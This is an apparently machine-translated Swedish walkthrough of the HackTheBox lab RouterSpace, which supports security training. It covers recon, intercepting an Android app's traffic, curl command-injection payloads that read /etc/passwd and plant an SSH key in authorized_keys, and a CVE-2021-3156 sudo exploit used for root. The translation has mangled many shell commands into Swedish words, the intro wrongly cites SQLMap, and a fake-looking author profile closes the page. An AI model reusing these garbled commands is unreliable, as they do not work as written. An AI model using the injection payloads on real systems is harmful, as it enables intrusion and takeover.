Genomgång av RouterSpace från HackTheBox (2023)

RouterSpaceär en lätt nivå maskin avh4rithdHackTheBox. Den här Linux-boxen fokuserar på webbapp- och OS-uppräkning och att använda SQLMap för att dumpa data.

Maskininformation

Genomgång av RouterSpace från HackTheBox (1)

Vi börjar med en apk som finns på den första webbplatsen. Vi använder Anbox på Kali för att emulera en Android-enhet så att vi kan interagera med apk:n när den körs. Burp hjälper oss att hitta en adress och en proxy som låter oss interagera med appen. Vi hittar ett sätt att få fjärrkörning av kod, vilket låter oss få ssh-åtkomst till boxen och sedan använder vi Baron Samedit (CVE2021-3156) exploateringen för att få root.

Detaljer
Värdsida HackTheBox
Länk till maskin HTB - Lätt - RouterSpace
Maskinens releasedatum 26 februari 2022
Datum då jag slutförde det 10 april 2022
Distribution används Kali 2022.1 –Releaseinformation

Initial Recon

Låt oss som alltid börja med Nmap:

┌──(rot㉿kali)-[~/htb/routerspace]└─#hamnar=$(nmap-p- --min-hastighet=1000-T410.10.11.148 |grep^[0-9] |skära -d '/' -f1 |tr '\n' ','|seds/,$//)┌──(rot㉿kali)-[~/htb/routerspace]└─# nmap-s$ports -sC -sV -oArouterspace 10.10.11.148Startar Nmap 7.92(https://nmap.org)kl. 2022-04-13 17:03 EDTNmap scan rapportför10.10.11.148 Värden är uppe(0,11s latens).PORT STATE SERVICE VERSION22/tcp öppen ssh(protokoll 2.0)| fingerprint-strings: | NULL: |_ SSH-2.0-RouterSpace-paketfiltrering V1| ssh-värdnyckel: | 3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c(RSA)| 256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02(ECDSA)|_256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78(ED25519)80/tcp öppna http| fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 200 OK| X-Powered-By: RouterSpace| X-Cdn: RouterSpace-58343| Innehållstyp: text/html; teckenuppsättning=utf-8| Innehållslängd: 70| ETag: W/"46-Qhj36TEqDHhoIimlameRlpAHdCU"| Datum: ons 13 april 2022 21:03:50 GMT| Anslutning: stäng| Misstänkt aktivitet upptäckt!!! {RequestID: LM w5v T Tcfci8 isw}| GetRequest: | HTTP/1.1 200 OK| X-Powered-By: RouterSpace| X-Cdn: RouterSpace-3904| Acceptera-intervall: bytes| Cache-kontroll: offentlig, maxålder=0| Senast ändrad: mån 22 nov 2021 11:33:57 GMT| ETag: W/"652c-17d476c9285"| Innehållstyp: text/html; teckenuppsättning=UTF-8| Innehållslängd: 25900| Datum: ons 13 april 2022 21:03:49 GMT| Anslutning: stäng| <!doctype html>| klass="nej-js" lang="zxx">| <huvud>| teckenuppsättning="utf-8">| ="x-ua-kompatibel" innehåll="dvs=kant">| RouterSpace| namn="beskrivning" innehåll="">| namn="viewport" innehåll="width=device-width, initial-scale=1">| <länkrel="stilmall" href="css/bootstrap.min.css">| <länkrel="stilmall" href="css/owl.carousel.min.css">| <länkrel="stilmall" href="css/magnific-popup.css">| <länkrel="stilmall" href="css/font-awesome.min.css">| <länkrel="stilmall" href="css/themify-icons.css">| HTTP-alternativ: | HTTP/1.1 200 OK| X-Powered-By: RouterSpace| X-Cdn: RouterSpace-53633| Tillåt: GET,HEAD,POST| Innehållstyp: text/html; teckenuppsättning=utf-8| Innehållslängd: 13| ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo"| Datum: ons 13 april 2022 21:03:49 GMT| Anslutning: stäng| GET,HEAD,POST| RTSPRequest, X11Probe: | HTTP/1.1 400 Bad Request|_ Anslutning: close|_http-title: RouterSpace|_http-trane-info: Problem med XML-tolkning av /evox/aboutServicedetektering utförd. Vänligen rapportera eventuella felaktiga resultat på https://nmap.org/submit/.NmapGjort: 1 IP-adress(1 värd upp)skannadei22.20 sekunder

Vi hittar bara två portar öppna, 22 (SSH) är förmodligen för senare, så för tillfället är det bara port 80. Låt oss ta en titt:

Genomgång av RouterSpace från HackTheBox (2)

APK-fil

Det är en statisk webbplats som inte har något att göra. Bara en länk för att ladda ner en apk, låt oss ta den:

┌──(rot㉿kali)-[~/htb/routerspace]└─# wget http://10.10.11.148/RouterSpace.apk--2022-04-1317:14:19-- http://10.10.11.148/RouterSpace.apkAnsluter till 10.10.11.148:80... ansluten.HTTP-begäran har skickats, väntar på svar... 200 OKLength: 35855082(34m) [application/vnd.android.package-archive]Spara till: ‘RouterSpace.apk’RouterSpace.apk 100%[==========================>]34,19 M 1,78 MB/si22s 2022-04-13 17:14:41(1,53 MB/s)- 'RouterSpace.apk' har sparats[35855082/35855082]

Anbox-konfiguration

Vi har en Android-applikationsfil (apk), nu behöver vi ett sätt att köra den. För att göra det finns det några alternativ men för enkelhetens skull kan vi använda Anbox som finns i Kali repo.

Första kontrollera att lxc är installerad och uppdaterad:

┌──(rot㉿kali)-[~]└─# apt-getInstalleralxcLäser paketlistor... Klart Bygger beroendeträd... Klar Läser tillståndsinformation... KlarFöljande ytterligare paket kommer att installeras: arch-test bridge-utils busybox-static cloud-image-utils debootstrap distro-info fakechroot gcc-12-base genisoimage ibverbs-providers libboost-iostreams1.74.0 libboost-thread1.74.01 uppgraderad, 35 nyinstallerade, 1 att ta bort och 826 inte uppgraderad. Behöver skaffa 26,9 MB arkiv. Efter denna operation, 81,1 MB extra diskutrymme kommer att användas. Vill duFortsätta?[Y/n] yGet:1 http://http.kali.org/kali kali-rolling/main amd64 busybox-static amd64 1:1.30.1-7+b2[896 kB]Get:2 http://http.kali.org/kali kali-rolling/main amd64 uuid-runtime amd64 2.37.3-1+b1[104 kB]Hämta:3 http://kali.download/kali kali-rolling/main amd64 gcc-12-base amd64 12-20220319-1[206 kB]Hämta:4 http://http.kali.org/kali kali-rolling/main amd64 libstdc++6 amd64 12-20220319-1[617 kB]Hämtade 26,9 MBi5s(5 944 kB/s)Extrahera mallar från paket: 100%Förkonfigurering av paket ...dpkg: busybox: beroendeproblem, men att ta bort ändå som du begärde: cryptsetup-initramfs beror på busybox | busybox-statisk;dock: Paket busybox ska tas bort. Paket busybox-static är inte installerat.Uppackar lxc-mallar(3.0.4-5)...Väljer tidigare omarkerat paket lxcfs. Förbereder uppackning .../28-lxcfs_5.0.0-1_amd64.deb ...Uppackar lxcfs(5.0.0-1)...Klar.Inställning av qemu-utils(1:6,2+dfsg-2)...Ställer in arch-test(0,18-1)...Ställer in libgfxdr0:amd64(10,1-1+b1)...update-initramfs: Genererar /boot/initrd.img-5.15.0-kali3-amd64Bearbetar triggersförlibc-bin(2,33-1)...Bearbetar triggersförman-db(2.9.4-4)...Bearbetar triggersförkali-menyn(2021.4.2)...

Det är en lång installation så jag har klippt bort det mesta. Med lxc sorterad låt oss installera anbox:

┌──(rot㉿kali)-[~]└─# apt-getInstalleraanbox Läser paketlistor... Klart Bygger beroendeträd... Klar Läser tillståndsinformation... KlarFöljande ytterligare paket kommer att installeras: libboost-filesystem1.74.0 libboost-log1.74.0 libboost-program-options1.74.0 libboost-regex1.74.0 libgles2 libprotobuf -lite23 libsdbus-c++1 libsdl2-image-2.0-0 libwebp7Följande NYA paket kommer att installeras: anbox libboost-filesystem1.74.0 libboost-log1.74.0 libboost-program-options1.74.0 libboost-regex1.74.0libtgleoblit2prolibgleobs-libe libsdbus-c++1 libsdl2-image-2.0-0 libwebp70 uppgraderad, 10 nyinstallerade, 0 att ta bort och 826 inte uppgraderade. Behöver få 3 183 kB arkiv. Efter denna operation kommer 16,2 MB extra diskutrymme att användas. vill duFortsätta?[Y/n] yGet:1 http://kali.download/kali kali-rolling/main amd64 libgles2 amd64 1.4.0-1[18,2 kB]Hämta:10 http://http.kali.org/kali kali-rolling/contrib amd64 anbox amd64 0.0~git20211020-2[754 kB]Hämtade 3 183 kBi1s(2 149 kB/s)Konfigurera anbox(0.0~git20211020-2)...Skapade symbollänk /etc/systemd/user/default.target.wants/anbox-session-manager.service → /usr/lib/systemd/user/anbox-session-manager.service.Bearbetar triggersförkali-menyn(2021.4.2)...Bearbetar triggersfördesktop-fil-utils(0,26-1)...Bearbetar triggersförlibc-bin(2,33-1)...Bearbetar triggersförman-db(2.9.4-4)...Bearbetar triggersförmailcap(3,70+nmu1)...

Nu måste vi ladda ner en Android-bild:

┌──(rot㉿kali)-[~]└─# wget https://build.anbox.io/android-images/2018/07/19/android_amd64.img--2022-04-1217:38:09-- https://build.anbox.io/android-images/2018/07/19/android_amd64.imgResolving build.anbox.io(build.anbox.io)... 163.172.154.175Ansluter till build.anbox.io(build.anbox.io)|163.172.154.175|:443... ansluten.HTTP-begäran har skickats, väntar på svar... 200 OKLength: 325902336(311M)Sparar till: ‘android_amd64.img’android_amd64.img 100 %[===================================>]310,80M 25,3MB/si20s 2022-04-12 17:38:29(15,5 MB/s)– ‘android_amd64.img’ sparad[325902336/325902336]

Detta måste flyttas till anbox-mappen:

┌──(rot㉿kali)-[~]└─#mvandroid_amd64.img /var/lib/anbox/android.img

Slutligen måste vi starta anbox-containertjänsten:

┌──(rot㉿kali)-[~]└─# systemctl starta anbox-container-manager.service

Byt till skrivbordet så hittar du Anbox i applikationsmenyn. Klicka på den för att öppna programhanteraren:

Genomgång av RouterSpace från HackTheBox (3)

Installera APK

Med det igång kan vi nu installera vår apk-fil:

┌──(rot㉿kali)-[~/htb/routerspace]└─# adbInstalleraRouterSpace.apkCommand'adb'hittades inte, men kan installeras med:aptInstalleraadbVill duInstalleraDet?(N/år)gjordInstalleraadb Läser paketlistor... Klart Bygger beroendeträd... Klar Läser tillståndsinformation... KlarFöljande ytterligare paket kommer att installeras: android-sdk-platform-tools-commonFöljande NYA paket kommer att installeras: adb android-sdk-platform-tools -common0 uppgraderat, 2 nyinstallerade, 0 att ta bort och 826 inte uppgraderat. Behöver få 608 kB arkiv. Efter denna operation kommer 1 835 kB extra diskutrymme att användas. Vill duFortsätta?[Y/n] yGet:1 http://kali.download/kali kali-rolling/main amd64 adb amd64 1:29.0.6-6[599 kB]Hämta:2 http://http.kali.org/kali kali-rolling/main amd64 android-sdk-platform-tools-common all 28.0.2+7[8 276 B]Hämtade 608 kBi1s(968 kB/s)Väljer tidigare omarkerat paket adb.(Läser databas ... 290024 filer och kataloger installerade för närvarande.)Förbereder uppackning .../adb_1%3a29.0.6-6_amd64.deb ...Uppackar adb(1:29.0.6-6)...Väljer tidigare omarkerat paket android-sdk-platform-tools-common. Förbereder uppackning .../android-sdk-platform-tools-common_28.0.2+7_all.deb ...Uppackar android-sdk-platform-tools -allmänning(28.0.2+7)...Konfigurera android-sdk-platform-tools-common(28.0.2+7)...Ställer in adb(1:29.0.6-6)...Bearbetar triggersförman-db(2.9.4-4)...Bearbetar triggersförkali-menyn(2021.4.2)...

Adb och de andra verktygen som behövs installeras. Nu är de där, vi kan försöka igen:

┌──(rot㉿kali)-[~/htb/routerspace]└─# adbInstalleraRouterSpace.apk*daemon körs inte;börjar nu på tcp:5037*daemon startade framgångsrikt fel: enhet offline Utför Push Installadb: fel: kunde inte hämta funktionenuppsättning: enhet offline

Första gången vi får ett felmeddelande eftersom demonen inte körs. Det startar automatiskt, så kör bara kommandot igen:

┌──(rot㉿kali)-[~/htb/routerspace]└─# adbInstalleraRouterSpace.apkUtför Streamad InstallSuccess

Kör applikation

Den här gången fungerar det och när vi tittar tillbaka på Anbox ser vi att vår app har dykt upp:

Genomgång av RouterSpace från HackTheBox (4)

När vi kör appen kommer vi till denna sida:

Genomgång av RouterSpace från HackTheBox (5)

Om du klickar på knappen Kontrollera status får vi ett felmeddelande:

Genomgång av RouterSpace från HackTheBox (6)

ADB Proxy Config

Vi kan inte se var appen försöker komma till, och det finns inget sätt att ställa in en proxy på Anbox, men en snabb sökning hittadesdettasom visar oss hur man gör det från kommandoraden med adb. För att aktivera gör vi bara så här:

adb-skalinställningar sätter global http_proxy :

Om vi ​​ställer in add http_proxy att peka på Burp kan vi fånga trafik som kommer från RouterSpace-appen:

┌──(rot㉿kali)-[~/htb/routerspace]└─# adb-skalinställningar sätt global http_proxy 10.10.14.124:4444

Burp Intercept

Starta nu Burp och gå till fliken Alternativ i Proxy-sektionerna:

Genomgång av RouterSpace från HackTheBox (7)

Lägg till en ny Proxy Listener och bind den till vår tun0-adress med samma port som vi ställt in ovan för adb http_proxy:

Genomgång av RouterSpace från HackTheBox (8)

Det ska se ut så här när det läggs till:

Genomgång av RouterSpace från HackTheBox (9)

Gå tillbaka till RouterSpace-appen och klicka på Kontrollera status igen, tillbaka till Burp för att se att den avlyssnade begäran:

Genomgång av RouterSpace från HackTheBox (10)

Vi kan skicka till repeater för att spela med det:

Genomgång av RouterSpace från HackTheBox (11)

Använder Curl för RCE

Med slutpunkten hittad behöver vi nu inte Anbox och kan fortsätta att utforska utan den. Jag föredrar att använda kommandoraden så att vi kan använda curl istället för Burp:

┌──(rot㉿kali)-[~/htb/routerspace]└─# curl-s -H 'user-agent: RouterSpaceAgent' -H "Content-Type: application/json" --data-binär $'{\"ip\":\"0.0.0.0\"}'http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess"0.0.0.0\n"

Efter att ha lekt runt hittade jag att vi kan använda en ; efter 0.0.0.0 för att köra ett kommando som vi väljer. Här visar jag passwd-filen och använder sed/cut för att få den att visas snyggt:

┌──(rot㉿kali)-[~/htb/routerspace]└─# curl-s -H 'user-agent: RouterSpaceAgent' -H "Content-Type: application/json" --data-binär $'{\"ip\":\"0.0.0.0;cat /etc/passwd\"}'http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess>/dev/null |sed 's/\\n/\n/g'|skära -d '"' -f2 |sed -n '1!p'|grep/bin/bashroot:x:0:0:root:/root:/bin/bashpaul:x:1001:1001:,,,:/home/paul:/bin/bash

Bara Paul och root kan logga in. Låt oss titta i Pauls hemmapp:

┌──(rot㉿kali)-[~/htb/routerspace]└─# curl-s -H 'user-agent: RouterSpaceAgent' -H "Content-Type: application/json" --data-binär $'{\"ip\":\"0.0.0.0;ls -lsa /home/paul\"}'http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess>/dev/null |sed 's/\\n/\n/g'|skära -d '"' -f2 |sed -n '1!p'totalt 484 drwxr-xr-x 8 paul paul 4096 17 feb 18:30.4 drwxr-xr-x 3 rotrot 4096 17 feb 18:30 ..0 lrwxrwxrwx 1 rotrot 9 nov 20 19:32 .bash_history -> /dev/null4-rw-r--r--1 paul paul 220 nov 20 17:32 .bash_logout4-rw-r--r--1 paul paul 3771 nov 20 17:32 .bashrc4 drwx------ 2 paul paul 4096 feb 17 18:30 .cache4 drwx------ 3 paul paul 4096 apr 19 20:04 dr-xrwg . 3 paul paul 4096 17 feb 18:30 .local4 drwxrwxr-x 5 paul paul 4096 19 april 17:24 .pm24-rw-r--r--1 paul paul 823 nov 20 18:30 .profile4 drwxr-xr-x 3 paul paul 4096 17 feb 18:30 snap4 drwx------- 2 paul paul 4096 19 april 19:46 .ssh4-r--r-----1 root paul 33 apr 19 17:25 user.txt

Användarflagga

Vi kan ta tag i användarflaggan:

┌──(rot㉿kali)-[~/htb/routerspace]└─# curl-s -H 'user-agent: RouterSpaceAgent' -H "Content-Type: application/json" --data-binär $'{\"ip\":\"0.0.0.0;cat /home/paul/user.txt\"}'http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess>/dev/null |sed 's/\\n/\n/g'|skära -d '"' -f2 |sed -n '1!p'1883f666c7b2ac1683e666225a372ce7

Omvänd skal

Dags för ett omvänt skal. Vi kan göra samma sak som vi gjorde påHorisontell. Generera först ett ssh-nyckelpar:

┌──(rot㉿kali)-[~/htb/routerspace]└─# ssh-keygen Genererar offentligt/privat rsa-nyckelpar. Ange filivilken nyckeln ska sparas(/root/.ssh/id_rsa): /root/htb/routerspace/id_rsa Ange lösenordsfras(tömmaföringen lösenfras): Ange samma lösenfras igen: Din identifiering har sparatsi/root/htb/routerspace/id_rsaDin offentliga nyckel har sparatsi/root/htb/routerspace/id_rsa.pubNyckelfingeravtrycket är:SHA256:Z+wQ9wrHt+p7f6aOv/tAol77FCQ36P28umPKNnhPu24 root@kaliNycklarnas slumpmässiga bild är:+---[RSA 3072| ||.||. .o + ||=o= .|| S* =+ || B + + + ||=o.o o|| O.*oE..+|| .B=X%&O.|+----[SHA256]-----+

Nu kan vi upprepa det i en auktoriserad_keys-fil på lådan:

┌──(rot㉿kali)-[~/htb/routerspace]└─# curl-s -H 'user-agent: RouterSpaceAgent' -H "Content-Type: application/json" --data-binär $'{\"ip\":\"0.0.0.0;eko 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4jyNVMJ963UsvyDfhRCXbXMcVS4Psrhcm1Yf9VlDlip5DiuiMuZc/ODFLLGrEpq8xyVTVX1/nXD3yjqnUPvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvNvN WnfaW3DNDJ4ZX0NRbwfsVxGCM15DnKC6Qx85S5I+S15M3pzh4+wf5o59ebRWrHVgWAUTkJ2ktM+zb/5m18Sjpafe/JC6TKOEGZcwjeE0luk3+j6FQBhvHmg8+j6VqBhvhmg8+j6vqbhvhmg80luk3+j6vqbhm cVEP3wF8ln5yNTBUhHaReY8UV5hPESHsw1jTPfgFvLt2/J0bX35bpt9qbKpVxKv58t7+phG/OSy7i7MLZSLjToFvxCiBBCnY0kUo1Qn1E10bX35bpt9qbKpVxKv58t7+phG/OSy7i7MLZSLjToFvxCiBBCnY0kUo1Qn1E10bXUhgAy/8QbiPUWyxgAy/8QbiPUWyxgAy/8QbiPUWyxay/8QBiWYxgA Yaal+SaX9Yn9ukOiSVkjEMlwI1ULrrcIPNbIRxfj8iL2xYqU6BLspFqrO5PKabeIWBmJlWqKs1esCJQQ6RX8im5kEr/LW61fIvSjkUvDcb0IaC0Z=root@kali' > /home/paul/.ssh/authorized_keys\"}'http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess

Ändra behörigheter på vår privata nyckel på Kali:

┌──(rot㉿kali)-[~/htb/routerspace]└─#chmod600 id_rs

Nu kan vi logga in som Paul:

┌──(rot㉿kali)-[~/htb/routerspace]└─# ssh-jagid_rsa paul@routerspace.htbVälkommen till Ubuntu 20.04.3 LTS(GNU/Linux 5.4.0-90-generisk x86_64)Systeminformation från Tis 19 Apr 2022 09:00:51 PM UTC Systembelastning: 0,0 Processer: 206 Användning av /: 71,0% av 3,49GB Användare inloggadei: 1 Minnesanvändning: 31 % IPv4-adressföreth0: 10.10.11.148 Bytsanvändning: 0%Senaste inloggning: Tis 19 apr 20:59:32 2022 från 10.10.14.124paul@routerspace:~$

CVE-2021-3156

Eskalering till root är trevligt och enkelt på denna box. Om du kopierarLinPEASöver dess utdata kommer att visa dig att den här rutan har en version av sudo som är sårbar för CVE-2021-3156. Även känd som Baron Samedit, lite infohärom du är intresserad.

Vi kan kontrollera den installerade versionen:

paul@routerspace:~$sudo -VSudo version 1.8.31Sudoers policy plugin version 1.8.31Sudoers fil grammatik version 46Sudoers I/O plugin version 1.8.31

Den versionen är verkligen sårbar. Jag tittade på GitHub och hittadedettautnyttja. Jag har bara kopierat/klistrat in det i en fil på lådan:

paul@routerspace:~$kattexploit.py#!/usr/bin/python3UtnyttjaförCVE-2021-3156 med overwrite struct service_user av sleepya Denna exploatering kräver:- glibc med tcachenscd-tjänsten körs inte Testat på:- Ubuntu 18.04

Root Flagga

Körde sedan den för att få root och flaggan:

paul@routerspace:~$python3 exploit.py# iduid=0(rot) gid=0(rot) grupper=0(rot),1001(paul)# cat /root/root.txtc97714e03098f4ef64378114f235078a

Det tog mig lång tid att få Anbox att fungera av någon anledning, men efter det var lådan ganska enkel.

Hoppas du lärde dig något, vi ses nästa gång.

References

Top Articles
Latest Posts
Article information

Author: Msgr. Refugio Daniel

Last Updated: 24/12/2023

Views: 6093

Rating: 4.3 / 5 (74 voted)

Reviews: 81% of readers found this page helpful

Author information

Name: Msgr. Refugio Daniel

Birthday: 1999-09-15

Address: 8416 Beatty Center, Derekfort, VA 72092-0500

Phone: +6838967160603

Job: Mining Executive

Hobby: Woodworking, Knitting, Fishing, Coffee roasting, Kayaking, Horseback riding, Kite flying

Introduction: My name is Msgr. Refugio Daniel, I am a fine, precious, encouraging, calm, glamorous, vivacious, friendly person who loves writing and wants to share my knowledge and understanding with you.